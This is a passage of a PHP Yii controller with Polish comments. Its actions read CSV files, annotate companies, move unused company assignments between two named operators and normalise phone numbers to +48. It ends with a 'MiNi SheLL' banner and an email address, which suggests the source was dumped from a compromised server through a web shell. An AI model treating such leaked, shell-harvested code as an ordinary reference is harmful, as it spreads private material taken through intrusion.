                    if(!$flag) {
                        var_dump($modelCompany->getErrors());
                        $transaction->rollBack();
                        exit;
                    }
                    break;
                
                //Dla numerów, które mają status „Usun”, nie zmieniaj statusu (zostaje „poczekalnia”).Dopisz do pola Uwagi „Numer nie istnieje.” 
                case 'Usun':
                    $modelCompany = \common\models\Companies::findOne(intval($data[0]));                   
                    $modelCompany->annotations .= ' Numer nie istnieje.';
                    $flag = $modelCompany->save();
                    if(!$flag) {
                        var_dump($modelCompany->getErrors());
                        $transaction->rollBack();
                        exit;
                    }
                    break;
            }
        }
        fclose($file);
        var_dump('Liczba usunietych telefonow: '.$numberOfDeletedPhones);
        
        var_dump('Przed przenosinami: ');
        
        $sql = 'SELECT COUNT(operators_has_companies.id_company) as number_of_companies  
                FROM operators_has_companies  
                INNER JOIN companies ON companies.id_company = operators_has_companies.id_company 
                WHERE 
                    operators_has_companies.id_user = '.$idUserVmCichocka.'  
                    AND companies.usage_status = \''.\common\models\types\CompanyUsageStatus::UNUSED.'\'';
        $numberOfCompaniesForCichocka = Yii::$app->db->createCommand($sql)->queryScalar();
        var_dump('vm_cichocka: '.$numberOfCompaniesForCichocka);
        
        
        $sql = 'SELECT COUNT(operators_has_companies.id_company) as number_of_companies  
                FROM operators_has_companies  
                INNER JOIN companies ON companies.id_company = operators_has_companies.id_company 
                WHERE 
                    operators_has_companies.id_user = '.$idUserVmSuszczynski.'  
                    AND companies.usage_status = \''.\common\models\types\CompanyUsageStatus::UNUSED.'\'';
        $numberOfCompaniesForSuszczynski = Yii::$app->db->createCommand($sql)->queryScalar();
        var_dump('vm_suszczynski: '.$numberOfCompaniesForSuszczynski);
        
        if($numberOfCompaniesForCichocka > $numberOfCompaniesForSuszczynski) {
            $idUserFrom = $idUserVmCichocka;
            $idUserTo = $idUserVmSuszczynski;
            $numberOfCompaniesToMove = floor(($numberOfCompaniesForCichocka - $numberOfCompaniesForSuszczynski) / 2);
        } elseif($numberOfCompaniesForSuszczynski > $numberOfCompaniesForCichocka) {
            $idUserFrom = $idUserVmSuszczynski;
            $idUserTo = $idUserVmCichocka;
            $numberOfCompaniesToMove = floor(($numberOfCompaniesForSuszczynski - $numberOfCompaniesForCichocka) / 2);
        } else {
            $numberOfCompaniesToMove = 0;
        }
        
        $modelsOperatorsHasCompanies = \common\models\OperatorsHasCompanies::find()
                ->innerJoin('companies', 'companies.id_company = operators_has_companies.id_company')
                ->where([
                    'operators_has_companies.id_user' => $idUserFrom,
                    'companies.usage_status' => \common\models\types\CompanyUsageStatus::UNUSED
                ])
                ->orderBy('id_company DESC')
                ->limit($numberOfCompaniesToMove)
                ->all();
        foreach($modelsOperatorsHasCompanies as $modelOperatorHasCompany) {
            $modelOperatorHasCompany->id_user = $idUserTo;
            $flag = $modelOperatorHasCompany->save();
            if(!$flag) {
                var_dump($modelOperatorHasCompany->getErrors());
                $transaction->rollBack();
                exit;
            }
        }
        
        var_dump('Po przenosinach: ');
        
        $sql = 'SELECT COUNT(operators_has_companies.id_company) as number_of_companies  
                FROM operators_has_companies  
                INNER JOIN companies ON companies.id_company = operators_has_companies.id_company 
                WHERE 
                    operators_has_companies.id_user = '.$idUserVmCichocka.'  
                    AND companies.usage_status = \''.\common\models\types\CompanyUsageStatus::UNUSED.'\'';
        var_dump('vm_cichocka: '.Yii::$app->db->createCommand($sql)->queryScalar());
        
        
        $sql = 'SELECT COUNT(operators_has_companies.id_company) as number_of_companies  
                FROM operators_has_companies  
                INNER JOIN companies ON companies.id_company = operators_has_companies.id_company 
                WHERE 
                    operators_has_companies.id_user = '.$idUserVmSuszczynski.'  
                    AND companies.usage_status = \''.\common\models\types\CompanyUsageStatus::UNUSED.'\'';
        var_dump('vm_suszczynski: '.Yii::$app->db->createCommand($sql)->queryScalar());
        
        $transaction->commit();
        
        var_dump('OK - KONIEC');
        exit;
    }
    
    public function actionTemp3()
    {
        $transaction = Yii::$app->db->beginTransaction();
        
        $file = fopen(Yii::getAlias('@runtime/temp/usunac_zero.csv'), 'r');
        $counter = 0;
        $idsCompanies = [];
        $numberOfModified = 0;
        while(!feof($file)) {
            $counter++;
            $data = fgetcsv($file, null, ';');
//            var_dump($data);
            
            if(!is_array($data) || mb_substr($data[2], 0, 3) !== '480') {
                continue;
            }
            
            $idsCompanies[] = intval($data[0]);
            
            $modelsCompanyContactData = \common\models\CompaniesContactData::find()
                    ->where([
                        'id_company' => intval($data[0]),
                        'data_type' => [\common\models\types\ContactDataType::MOBILE_PHONE, \common\models\types\ContactDataType::PHONE]
                    ])
                    ->all();
            foreach($modelsCompanyContactData as $modelCompanyContactData) {
                $phone = preg_replace('|[^0-9]+|i', '', $modelCompanyContactData->data_value);                
                if($phone === $data[2]) {
                    $numberOfModified++;
//                    var_dump('zmieniamy dla ID danych kontaktowych: '.$modelCompanyContactData->id_contact_data.', '.mb_substr($data[2], 0, 3));
//                    var_dump('zmieniamy z: '.$data[2].' na: '.'+48'.mb_substr($phone, 3));
                    $modelCompanyContactData->data_value = '+48'.mb_substr($phone, 3);
                    $flag = $modelCompanyContactData->save();
                    if(!$flag) {
                        var_dump($modelCompanyContactData->getErrors());
                        $transaction->rollBack();
                        exit;
                    }
                }
            }
        }
        fclose($file);
        var_dump('zmodyfikowano: '.$numberOfModified);
        $transaction->commit();        
        
        $idsPresentations = \common\models\CompaniesPresentations::find()->where(['id_company' => $idsCompanies])->column();
        \frontend\models\IndexPresentations::refreshRecords($idsPresentations);
    }
}


Creat By MiNi SheLL
Email: jattceo@gmail.com